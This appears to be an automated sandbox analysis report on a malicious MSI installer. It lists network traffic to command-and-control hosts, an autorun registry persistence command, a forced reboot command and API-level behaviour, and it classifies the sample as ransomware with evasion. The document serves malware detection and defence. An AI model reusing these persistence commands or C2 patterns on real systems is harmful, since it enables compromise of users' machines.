Source: unknown	TCP traffic detected without corresponding DNS query: 20.15.106.83
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /carol1.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: yznv.prefintions.pro
Source: global traffic	HTTP traffic detected: GET /derrama.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: yznv.prefintions.pro
Source: global traffic	HTTP traffic detected: GET /SCP/index.php?VS=VS3&PL=NAO HTTP/1.1User-Agent: "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36"Host: 20.15.106.83Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: yznv.prefintions.pro
Source: global traffic	DNS traffic detected: DNS query: collect.installeranalytics.com
Source: global traffic	DNS traffic detected: DNS query: acons2020temix54.lisf

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64)Host: collect.installeranalytics.comContent-Length: 167Cache-Control: no-cache

Source: shi64B2.tmp.3.dr	String found in binary or memory: http://.css
Source: shi64B2.tmp.3.dr	String found in binary or memory: http://.jpg
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.15.106.83
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.15.106.83/SCP/index.php
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.15.106.83/SCP/index.php?VS=VS3&PL=NAO
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vJrY.png.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: vJrY.png.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: vJrY.png.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr	String found in binary or memory: http://collect.installeranalytics.com
Source: vJrY.png.3.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: vJrY.png.3.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: vJrY.png.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vJrY.png.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: vJrY.png.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: shi64B2.tmp.3.dr	String found in binary or memory: http://html4/loose.dtd
Source: vJrY.png.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, vJrY.png.3.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: vJrY.png.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: vJrY.png.3.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: vJrY.png.3.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vJrY.png.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: vJrY.png.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	String found in binary or memory: http://stackoverflow.com/q/11564914;
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.0000000003336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://stackoverflow.com/q/14436606/
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	String found in binary or memory: http://stackoverflow.com/q/14436606/WAsReference
Source: PeFIvJrY.exe, 0000000C.00000002.3849220507.00000000054E4000.00000002.00000001.01000000.00000005.sdmp, PeFIvJrY.exe, 0000000D.00000002.1729149617.000000006D564000.00000002.00000001.01000000.00000005.sdmp, PeFI.png.3.dr	String found in binary or memory: http://stackoverflow.com/q/2152978/23354
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://t2.symcb.com0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://tl.symcd.com0&
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: vJrY.png.3.dr	String found in binary or memory: http://www.mcafee.com
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.000000000331A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://acons2020temix54.lisf
Source: PeFIvJrY.exe, 0000000C.00000002.3847929255.000000000331A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://acons2020temix54.lisf/
Source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr	String found in binary or memory: https://collect.installeranalytics.com
Source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr	String found in binary or memory: https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 9rybs.msi, 495fa1.msi.2.dr	String found in binary or memory: https://www.foxit.com/pt-br/pdf-editor/adobe-acrobat-alternative.html
Source: vJrY.png.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: 9rybs.msi, MSI6487.tmp.2.dr, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI6F47.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49707 version: TLS 1.2

System Summary

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Process Stats: CPU usage > 49%

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_003F0140 GetClientRect,IsWindow,ShowWindow,DestroyWindow,PostQuitMessage,NtdllDefWindowProc_W,GetClientRect,NtdllDefWindowProc_W,GetClientRect,IsWindow,BringWindowToTop,__Mtx_unlock,SetWindowTextW,__Mtx_unlock,IsWindow,SetForegroundWindow,__Mtx_unlock,__Mtx_unlock,IsWindow,ShowWindow,UpdateWindow,IsWindow,ShowWindow,UpdateWindow,GetWindowRect,MoveWindow,Sleep,GetWindowRect,MoveWindow,Sleep,__Mtx_unlock,	12_2_003F0140
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_003FD2A0 NtQueryVirtualMemory,NtCreateFile,NtCreateFile,	12_2_003FD2A0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_003FF4F0 GetCurrentProcess,GetModuleHandleW,NtCreateFile,	12_2_003FF4F0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00406090 NtClose,NtClose,	12_2_00406090
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0040A190 NtQueryInformationThread,NtQueryInformationThread,NtQueryInformationThread,	12_2_0040A190
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00405480 NtCreateFile,NtCreateFile,	12_2_00405480
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00402520 Concurrency::cancel_current_task,NtQueryDirectoryFile,NtQueryDirectoryFile,	12_2_00402520
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00405AD0 NtQueryFullAttributesFile,NtQueryFullAttributesFile,	12_2_00405AD0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0040CB80 NtQuerySystemInformation,NtQuerySystemInformation,SysAllocStringLen,GetCurrentProcessId,GetLastError,NtQueryInformationProcess,NtQueryInformationProcess,CloseHandle,	12_2_0040CB80

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe

Code function: 12_2_00405F60: DeviceIoControl,GetLastError,

12_2_00405F60

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\495fa1.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6185.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI62DE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI635C.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6467.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6487.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F17.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F47.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7003.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7033.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{15AABDA9-5457-45E2-8C08-D78BBF9DF5D5}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI70A2.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F25.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI6185.tmp

Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0041C012	12_2_0041C012
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0043901B	12_2_0043901B
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00418150	12_2_00418150
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_004351C8	12_2_004351C8
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_004191B0	12_2_004191B0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0040B360	12_2_0040B360
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0043044A	12_2_0043044A
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_004135B0	12_2_004135B0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0042C75F	12_2_0042C75F
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_003EA720	12_2_003EA720
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0041A700	12_2_0041A700
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00408870	12_2_00408870
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0042CAED	12_2_0042CAED
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0040BAF0	12_2_0040BAF0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0040CB80	12_2_0040CB80
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00403B80	12_2_00403B80
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00402C60	12_2_00402C60
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00434D40	12_2_00434D40
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00419D00	12_2_00419D00
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_025B4ED8	12_2_025B4ED8
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_025B4EC9	12_2_025B4EC9
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06302E91	12_2_06302E91
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_063026D0	12_2_063026D0
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06307D78	12_2_06307D78
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06300314	12_2_06300314
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06301430	12_2_06301430
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_063005A8	12_2_063005A8
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06303211	12_2_06303211
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06321DD8	12_2_06321DD8
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06325D0F	12_2_06325D0F
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06325D6D	12_2_06325D6D
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_06325D89	12_2_06325D89

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: String function: 003FB3E0 appears 35 times
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: String function: 00400320 appears 46 times
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: String function: 00426800 appears 39 times

Source: 9rybs.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs 9rybs.msi
Source: 9rybs.msi	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs 9rybs.msi
Source: 9rybs.msi	Binary or memory string: OriginalFilenameInstallerAnalytics.dllF vs 9rybs.msi
Source: 9rybs.msi	Binary or memory string: OriginalFilenameembeddeduiproxy.dllF vs 9rybs.msi

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"

Source: shi64B2.tmp.3.dr

Binary string: \Device\NameResTrk\RecordNrtCloneOpenPacket

Source: 9rybs.msi, 495fa1.msi.2.dr

Binary or memory string: .VBP2

Source: classification engine

Classification label: mal64.rans.evad.winMSI@15/33@3/3

Source: C:\Windows\SysWOW64\msiexec.exe

File created: C:\Users\user\AppData\Local\AdvinstAnalytics

Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Mutant created: \Sessions\1\BaseNamedObjects\DM0Ab6K//fQJogkamn3nDv0Hk7oulb5M1UDzxef1Ua8YhFSRu4d0RJHhGDKUPKZ8
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\{46C61DD2-00A3-46F1-B456-3E6CDCEF89B7}

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DFBAD3E09A4BB3EFCB.TMP

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\9rybs.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15
Source: C:\Windows\SysWOW64\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Source: unknown	Process created: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe"	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
